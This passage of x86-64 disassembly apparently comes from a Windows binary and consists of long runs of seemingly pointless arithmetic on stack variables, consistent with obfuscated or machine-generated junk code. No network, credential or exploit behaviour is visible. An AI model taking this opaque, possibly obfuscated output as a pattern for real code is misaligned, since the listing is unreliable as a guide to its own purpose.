mov word [rcx], ax
movsx eax, word [rsp + 0x1078]
mov rcx, qword [rsp + 0x8f30]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x968], ax
lea rax, [rsp + 0x227]
mov qword [rsp + 0x9858], rax
mov rax, qword [rsp + 0x7948]
mov rcx, qword [rsp + 0x77c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x51d8]
mov qword [rcx], rax
lea rax, [rsp + 0x2b00]
mov qword [rsp + 0x9860], rax
mov eax, dword [rsp + 0x2f0c]
mov rcx, qword [rsp + 0x73f8]
mov qword [rsp + 0x9868], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9868]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x58c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5740]
mov rcx, qword [rsp + 0x8d40]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x5b88], rax
mov rax, qword [rsp + 0x5190]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4ef0]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x140179050], ax
movzx eax, byte [rsp + 0xbf]
mov byte [rsp + 0x28b], al
movsx eax, byte [rsp + 0x144]
movsx ecx, byte [rsp + 0x92]
sub eax, ecx
mov byte [rsp + 0x230], al
movzx eax, byte [rsp + 0x1cd]
mov byte [rsp + 0x28c], al
movzx eax, word [rsp + 0x884]
mov rcx, qword [rsp + 0x8670]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb84], ax
mov rax, qword [rsp + 0x4f28]
mov rax, qword [rax]
mov rcx, qword [str.kD3]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5d88], rax
lea rax, [rsp + 0x6318]
mov qword [rsp + 0x9870], rax
mov rax, qword [rsp + 0x8168]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c0c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2fdc], eax
mov eax, dword [rsp + 0x2e84]
mov dword [rsp + 0x3294], eax
movzx eax, byte [rsp + 0x26f]
mov rcx, qword [rsp + 0x5520]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x153], al
mov rax, qword [rsp + 0x65c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8f40]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x140178ec8], ax
movzx eax, word [rsp + 0xa5c]
mov word [rsp + 0x10ec], ax
mov rax, qword [rsp + 0x7a20]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x104]
sub eax, ecx
mov byte [rsp + 0x159], al
mov rax, qword [rsp + 0x7f10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e18]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe70], ax
lea rax, [rsp + 0x95f8]
mov qword [rsp + 0x9878], rax
mov rax, qword [rsp + 0x7df8]
mov rcx, qword [rsp + 0x7cc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2f38]
mov dword [rsp + 0x3298], eax
mov rax, qword [rsp + 0x8de0]
mov rcx, qword [rsp + 0x6a70]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x6d78], rax
movsx eax, byte [rsp + 0x1ce]
mov rcx, qword [rsp + 0x6130]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5120]
mov byte [rcx], al
lea rax, [rsp + 0xd88]
mov qword [0x14017aa00], rax
lea rax, [0x14017a195]
mov qword [rsp + 0x9880], rax
mov rax, qword [rsp + 0x6b60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7718]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1030], ax
mov rax, qword [rsp + 0x7fe0]
movzx eax, byte [rax]
mov byte [rsp + 0x28d], al
mov rax, qword [0x140178e78]
movzx ecx, al
mov rax, qword [rsp + 0x79b8]
shr rax, cl
mov rcx, qword [rsp + 0x8620]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8238]
mov rcx, qword [rsp + 0x9100]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6930]
mov qword [rcx], rax
mov rax, qword [rsp + 0x50f8]
mov eax, dword [rax]
mov dword [rsp + 0x329c], eax
mov rax, qword [rsp + 0x69e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c8c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6800]
mov dword [rcx], eax
lea rax, [rsp + 0xf98]
mov qword [rsp + 0x9888], rax
movzx eax, byte [rsp + 0x15b]
mov rcx, qword [rsp + 0x67b0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140178e77], al
mov rax, qword [rsp + 0x7ae8]
movsx eax, word [rax]
mov rcx, qword [0x14017a188]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd58], ax
mov rax, qword [rsp + 0x8928]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x165]
sub eax, ecx
mov rcx, qword [rsp + 0x8928]
mov byte [rcx], al
lea rax, [rsp + 0x1e8]
mov qword [rsp + 0x9890], rax
mov rax, qword [rsp + 0x5af8]
mov rcx, qword [rsp + 0x8db8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6698], rax
mov eax, dword [rsp + 0x2f2c]
mov dword [rsp + 0x32a0], eax
mov rax, qword [rsp + 0x6fb8]
mov rcx, qword [rsp + 0x7108]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2e00], eax
lea rax, [0x140178e60]
mov qword [rsp + 0x9898], rax
movsx eax, word [rsp + 0x9c4]
mov rcx, qword [rsp + 0x7280]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xd8c], ax
lea rax, [rsp + 0x91c]
mov qword [0x14017aa08], rax
mov rax, qword [rsp + 0x4ef0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x77c8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x61c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x66e8]
movzx eax, byte [rax]
mov byte [rsp + 0x28e], al
movzx eax, byte [rsp + 0x25c]
movzx ecx, byte [rsp + 0x231]
or eax, ecx
mov rcx, qword [rsp + 0x7220]
mov byte [rcx], al
mov rax, qword [rsp + 0x54c8]
movzx eax, word [rax]
mov word [rsp + 0x10f0], ax
mov rax, qword [rsp + 0x79b8]
movzx ecx, al
mov rax, qword [rsp + 0x5e30]
shr rax, cl
mov qword [rsp + 0x58a0], rax
mov rax, qword [rsp + 0x97e0]
mov rcx, qword [rsp + 0x5d28]
mov qword [rsp + 0x98a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x98a0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x72d8]
mov qword [rcx], rax
mov eax, dword [0x14017a060]
mov dword [rsp + 0x32a4], eax
mov rax, qword [rsp + 0x8148]
mov ecx, dword [rsp + 0x2d28]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x8930]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x191]
movzx ecx, byte [rsp + 0x12a]
sub eax, ecx
mov byte [0x140178f4a], al
lea rax, [0x14017a540]
mov qword [rsp + 0x98a8], rax
mov rax, qword [rsp + 0x8660]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ad0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x73c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x7988]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd24]
add eax, ecx
mov word [rsp + 0x958], ax
lea rax, [rsp + 0x87]
mov qword [rsp + 0x98b0], rax
mov rax, qword [rsp + 0x5930]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ac8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x88d0]
mov qword [rcx], rax
lea rax, [rsp + 0x79b8]
mov qword [rsp + 0x98b8], rax
mov rax, qword [rsp + 0x4dc8]
mov ecx, dword [0x140178e6c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2aa4], eax
mov eax, dword [rsp + 0x2d38]
mov dword [rsp + 0x32a8], eax
mov rax, qword [rsp + 0x51a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6408]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14017a728]
mov word [rcx], ax
movsx eax, word [0x14017a228]
movsx ecx, word [rsp + 0xd6c]
add eax, ecx
mov rcx, qword [rsp + 0x4e38]
mov word [rcx], ax
mov rax, qword [rsp + 0x8ec8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x156]
add eax, ecx
mov rcx, qword [rsp + 0x7c10]
mov byte [rcx], al
lea rax, [rsp + 0x95c]
mov qword [rsp + 0x98c0], rax
movzx eax, byte [0x140178f16]
movzx ecx, byte [rsp + 0x11b]
sub eax, ecx
mov byte [rsp + 0x11f], al
mov rax, qword [rsp + 0x8298]
mov rax, qword [rax]
mov qword [rsp + 0x98c8], rax
mov rax, qword [rsp + 0x5af8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5138]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5c60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6348]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8fe0]
mov qword [rsp + 0x98d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x98d0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x9038]
mov dword [rcx], eax
lea rax, [rsp + 0x2a68]
mov qword [rsp + 0x98d8], rax
movzx eax, byte [rsp + 0x1d6]
mov byte [0x14017a264], al
movzx eax, byte [rsp + 0x5f]
mov rcx, qword [rsp + 0x7400]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x7758]
mov byte [rcx], al
movzx eax, word [rsp + 0x1058]
mov word [rsp + 0x10f4], ax
mov rax, qword [rsp + 0x6008]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6b60]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x890], ax
mov rax, qword [rsp + 0x5898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x18d]
xor eax, ecx
mov rcx, qword [rsp + 0x6a18]
mov byte [rcx], al
mov rax, qword [rsp + 0x7f08]
mov qword [rsp + 0x98e0], rax
mov rax, qword [rsp + 0x5b98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a38]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a4c], eax
lea rax, [rsp + 0x5fc0]
mov qword [rsp + 0x98e8], rax
mov rax, qword [rsp + 0x7560]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3158]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4bf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7878]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa38]
and eax, ecx
mov word [0x140178fac], ax
movsx eax, byte [rsp + 0x1f1]
mov rcx, qword [rsp + 0x6fe8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6da0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8e78]
movzx eax, byte [rax]
mov byte [rsp + 0x28f], al
movzx eax, word [rsp + 0xb38]
movzx ecx, word [rsp + 0xdd8]
add eax, ecx
mov word [rsp + 0x1020], ax
lea rax, [rsp + 0x9c0]
mov qword [rsp + 0x98f0], rax
mov rax, qword [rsp + 0x9570]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28d8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2bb8], eax
lea rax, [rsp + 0x9370]
mov qword [rsp + 0x98f8], rax
mov rax, qword [rsp + 0x6520]
mov rax, qword [rax]
mov rcx, qword [0x140178e78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7198]
mov qword [rcx], rax
mov rax, qword [rsp + 0x92d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3194]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x54d8]
mov dword [rcx], eax
lea rax, [rsp + 0x8f4]
mov qword [0x14017aa10], rax
lea rax, [0x14017a055]
mov qword [rsp + 0x9900], rax
movsx eax, byte [rsp + reloc.SHELL32.dll_SHChangeNotification_Unlock]
movsx ecx, byte [rsp + 0x64]
add eax, ecx
mov byte [rsp + 0x173], al
lea rax, [rsp + 0x61]
mov qword [rsp + 0x9908], rax
movzx eax, byte [rsp + 0x17d]
movzx ecx, byte [rsp + 0x11b]
sub eax, ecx
mov rcx, qword [rsp + 0x8a80]
mov byte [rcx], al
mov rax, qword [rsp + 0x7330]
mov rcx, qword [rsp + 0x5230]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8b30]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6058]
mov rax, qword [rax]
mov qword [rsp + 0x9910], rax
mov rax, qword [rsp + 0x6480]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8e58]
mov qword [rsp + 0x9918], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9918]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2f20], eax
mov eax, dword [rsp + 0x319c]
mov dword [rsp + 0x32ac], eax
mov rax, qword [rsp + 0x8078]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x88d8]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x140178eec], ax
movsx eax, word [rsp + 0x9cc]
movsx ecx, word [0x140179040]
xor eax, ecx
mov word [rsp + 0xd24], ax
mov rax, qword [rsp + 0x8fe8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5440]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x8bb8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6c10]
movzx eax, byte [rax]
mov byte [rsp + 0x290], al
mov rax, qword [0x14017a0b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8e88]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x84e0]
mov word [rcx], ax
lea rax, [rsp + 0x2d78]
mov qword [rsp + 0x9920], rax
mov rax, qword [rsp + 0x8f88]
mov rcx, qword [rsp + 0x7ff8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6808]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2a88]
mov dword [rsp + 0x32b0], eax
mov rax, qword [rsp + 0x8bd0]
mov rcx, qword [rsp + 0x5d08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7708], rax
mov rax, qword [rsp + 0x78c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10b8]
and eax, ecx
mov word [0x140179054], ax
movsx eax, word [rsp + 0xbb8]
mov rcx, qword [rsp + 0x7d70]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4cb0]
mov word [rcx], ax
lea rax, [rsp + 0xd50]
mov qword [rsp + 0x9928], rax
mov rax, qword [rsp + 0x4f68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6860]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7728]
mov byte [rcx], al
lea rax, [0x14017a196]
mov qword [rsp + 0x9930], rax
mov rax, qword [rsp + 0x92a0]
mov rcx, qword [rsp + 0x5360]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8638]
mov qword [rcx], rax
mov rax, qword [rsp + 0x56b8]
mov rcx, qword [rsp + 0x5078]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7498]
mov qword [rcx], rax
mov eax, dword [rsp + 0x31b0]
mov dword [rsp + 0x32b4], eax
mov rax, qword [rsp + 0x6d50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x31f0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2e18], eax
lea rax, [rsp + 0x10d]
mov qword [rsp + 0x9938], rax
movzx eax, word [0x14017a288]
mov rcx, qword [rsp + 0x6408]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x14017a450]
mov word [rcx], ax
movzx eax, byte [rsp + 0x163]
mov rcx, qword [rsp + 0x7130]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x80b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6290]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeb0]
sar eax, cl
mov word [rsp + 0x1098], ax
mov rax, qword [rsp + 0x7f10]
movzx eax, word [rax]
mov word [rsp + 0x10f8], ax
mov rax, qword [rsp + 0x53d0]
mov ecx, dword [rsp + 0x2ed0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2c74], eax
mov rax, qword [rsp + 0x8108]
mov rax, qword [rax]
mov qword [rsp + 0x9940], rax
mov rax, qword [rsp + 0x7d78]
mov rcx, qword [rsp + 0x6b68]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x64c8], rax
mov eax, dword [rsp + 0x307c]
mov ecx, dword [rsp + 0x2cac]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x96e8]
mov dword [rcx], eax
lea rax, [rsp + 0xbec]
mov qword [rsp + 0x9948], rax
movzx eax, byte [rsp + 0x158]
mov rcx, qword [rsp + 0x8098]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140178f4b], al
movsx eax, byte [rsp + 0x1c8]
movsx ecx, byte [rsp + 0x131]
add eax, ecx
mov rcx, qword [rsp + 0x6a30]
mov byte [rcx], al
lea rax, [0x140179028]
mov qword [rsp + 0x9950], rax
mov rax, qword [rsp + 0x6408]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6578]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1048], ax
mov rax, qword [rsp + 0x91a8]
mov eax, dword [rax]
mov dword [rsp + 0x32b8], eax
mov eax, dword [rsp + 0x2aac]
mov ecx, dword [rsp + 0x30f8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x74d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6b50]
mov rcx, qword [rsp + 0x6890]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x86f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7630]
mov rax, qword [rax]
mov qword [rsp + 0x9958], rax
movsx eax, byte [rsp + 0x213]
mov rcx, qword [0x14017a088]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x281], al
movzx eax, byte [rsp + 0x14a]
movzx ecx, byte [rsp + 0xa6]
sub eax, ecx
mov rcx, qword [0x14017a2d0]
mov byte [rcx], al
lea rax, [rsp + 0x8a]
mov qword [rsp + 0x9960], rax
movsx eax, byte [rsp + 0x149]
mov rcx, qword [rsp + 0x8458]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7a20]
mov byte [rcx], al
movsx eax, word [rsp + 0xf44]
mov rcx, qword [rsp + 0x7d70]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8610]
mov word [rcx], ax
mov rax, qword [rsp + 0x5940]
mov qword [rsp + 0x9968], rax
mov eax, dword [rsp + 0x2bd0]
mov rcx, qword [rsp + 0x67b8]
mov qword [rsp + 0x9970], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9970]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x87d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6940]
mov qword [rsp + 0x9978], rax
mov rax, qword [rsp + 0x6e10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2f44]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x30e4], eax
mov rax, qword [0x14017a2d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x215]
sar eax, cl
mov byte [rsp + 0x7d], al
movzx eax, byte [rsp + 0x224]
mov byte [0x14017a265], al
mov rax, qword [rsp + 0x8e00]
movzx eax, word [rax]
mov word [rsp + 0x10fc], ax
movzx eax, word [rsp + 0xe38]
movzx ecx, word [rsp + 0xef4]
and eax, ecx
mov rcx, qword [rsp + 0x8978]
mov word [rcx], ax
movzx eax, word [rsp + 0xf54]
mov word [rsp + 0x1100], ax
mov rax, qword [rsp + 0x9438]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa80]
add eax, ecx
mov word [rsp + 0x914], ax
mov rax, qword [rsp + 0x4b30]
mov rcx, qword [rsp + 0x5750]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7010]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2bbc]
mov dword [rsp + 0x32bc], eax
mov rax, qword [rsp + 0x7698]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ecc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6f60]
mov dword [rcx], eax
lea rax, str.kD3
mov qword [rsp + 0x9980], rax
mov rax, qword [rsp + 0x8730]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6da0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14017a360]
mov byte [rcx], al
movsx eax, word [rsp + 0x9b0]
mov rcx, qword [rsp + 0x6c50]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd58], ax
lea rax, [0x140178f2a]
mov qword [rsp + 0x9988], rax
movsx eax, word [rsp + 0xc7c]
movsx ecx, word [rsp + 0xb00]
and eax, ecx
mov word [rsp + 0xa98], ax
movzx eax, word [rsp + 0xaac]
mov rcx, qword [rsp + 0x7b48]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7960]
mov word [rcx], ax
mov rax, qword [0x14017a058]
mov qword [rsp + 0x9990], rax
mov rax, qword [rsp + 0x56b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x71d0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5320]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3128]
mov dword [rsp + 0x32c0], eax
mov eax, dword [rsp + 0x2e14]
mov ecx, dword [rsp + 0x2f8c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7cc0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0xdc]
movsx ecx, byte [rsp + 0x1c8]
shl eax, cl
mov byte [0x140178f4e], al
mov rax, qword [rsp + 0x6c28]
movzx eax, word [rax]
mov rcx, qword [0x14017a6c8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x7960]
mov word [rcx], ax
lea rax, [rsp + 0xfd0]
mov qword [rsp + 0x9998], rax
movsx eax, byte [rsp + 0x23f]
movsx ecx, byte [rsp + 0x1ba]
or eax, ecx
mov byte [rsp + 0x9b], al
mov rax, qword [rsp + 0x7918]
movzx eax, byte [rax]
mov byte [rsp + 0x291], al
mov rax, qword [rsp + 0x92b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x61c8]
mov qword [rsp + 0x99a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x99a0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x7d58], rax
mov eax, dword [rsp + 0x2d78]
mov ecx, dword [rsp + 0x2ba8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3278], eax
lea rax, [rsp + 0x68c0]
mov qword [rsp + 0x99a8], rax
mov rax, qword [rsp + 0x7c68]
mov eax, dword [rax]
mov ecx, dword [0x14017a060]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ea0], eax
mov rax, qword [rsp + 0x7280]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5048]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14017a9e8]
mov word [rcx], ax
lea rax, [rsp + 0x105c]
mov qword [rsp + 0x99b0], rax
movzx eax, byte [rsp + 0x90]
mov rcx, qword [rsp + 0x7e38]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7fa0]
mov byte [rcx], al
lea rax, [rsp + 0x252]
mov qword [rsp + 0x99b8], rax
mov rax, qword [rsp + 0x51f0]
movzx eax, byte [rax]
movzx ecx, byte [0x14017a22f]
add eax, ecx
mov byte [rsp + 0xa7], al
mov rax, qword [rsp + 0x7388]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5458]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8690], rax
lea rax, [rsp + 0x5268]
mov qword [rsp + 0x99c0], rax
mov rax, qword [rsp + 0x88c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3268]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x57a0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3174]
mov dword [rsp + 0x32c4], eax
mov rax, qword [rsp + 0x7508]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9168]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x140178f23], al
movzx eax, byte [rsp + 0x234]
movzx ecx, byte [rsp + 0x8d]
add eax, ecx
mov rcx, qword [rsp + 0x7e78]
mov byte [rcx], al
mov rax, qword [rsp + 0x7c88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x9ec]
xor eax, ecx
mov rcx, qword [rsp + 0x8f98]
mov word [rcx], ax
lea rax, [rsp + 0xff8]
mov qword [rsp + 0x99c8], rax
movsx eax, byte [rsp + 0x126]
mov rcx, qword [0x14017a0b8]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4f60]
mov byte [rcx], al
mov rax, qword [rsp + 0x8630]
mov eax, dword [rax]
mov dword [rsp + 0x32c8], eax
mov rax, qword [rsp + 0x7910]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8e90]
shr rax, cl
mov rcx, qword [rsp + 0x89a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x71a0]
mov rcx, qword [rsp + 0x6980]
mov qword [rsp + 0x99d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x99d0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x6458], rax
mov rax, qword [rsp + 0x8478]
mov eax, dword [rax]
mov dword [rsp + 0x32cc], eax
lea rax, [rsp + 0xed4]
mov qword [0x14017aa18], rax
mov rax, qword [rsp + 0x5910]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9cc]
sub eax, ecx
mov word [rsp + 0xd98], ax
movzx eax, word [rsp + 0x108c]
mov word [rsp + 0x1104], ax
movsx eax, byte [rsp + 0x98]
mov rcx, qword [rsp + 0x4f60]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5818]
mov byte [rcx], al
mov rax, qword [rsp + 0x6350]
movsx eax, word [rax]
movsx ecx, word [0x140179018]
add eax, ecx
mov rcx, qword [rsp + 0x5b28]
mov word [rcx], ax
lea rax, [rsp + 0x3220]
mov qword [rsp + 0x99d8], rax
mov eax, dword [rsp + 0x32b0]
mov ecx, dword [rsp + 0x308c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c40], eax
mov rax, qword [rsp + 0x9528]
mov rax, qword [rax]
mov qword [rsp + 0x99e0], rax
mov rax, qword [rsp + 0x8e90]
mov rcx, qword [rsp + 0x8118]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5a60]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x1b7]
movzx ecx, byte [rsp + 0x108]
add eax, ecx
mov byte [0x140178f4f], al
mov rax, qword [0x14017a3a8]
movzx eax, word [rax]
mov word [rsp + 0x1108], ax
mov rax, qword [rsp + 0x6c10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x86e8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xb6], al
mov rax, qword [rsp + 0x7248]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf1c]
sub eax, ecx
mov word [rsp + 0x1044], ax
mov rax, qword [rsp + 0x5e60]
movzx eax, byte [rax]
mov byte [rsp + 0x292], al
mov rax, qword [rsp + 0x7570]
mov ecx, dword [rsp + 0x3054]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2ab4], eax
mov rax, qword [rsp + 0x57e0]
mov eax, dword [rax]
mov dword [rsp + 0x32d0], eax
mov rax, qword [rsp + 0x5b48]
mov rcx, qword [rsp + 0x78d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8a20], rax
mov rax, qword [rsp + 0x8b58]
mov rcx, qword [rsp + 0x78a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x85e8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x70]
mov rcx, qword [rsp + 0x7e60]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [0x14017a4d0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x131]
mov byte [rsp + 0x293], al
mov rax, qword [rsp + 0x9300]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa7c]
sar eax, cl
mov word [rsp + 0xff4], ax
lea rax, [rsp + 0x255]
mov qword [rsp + 0x99e8], rax
mov rax, qword [rsp + 0x7988]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5190]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x53e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7a80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6458]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8120], rax
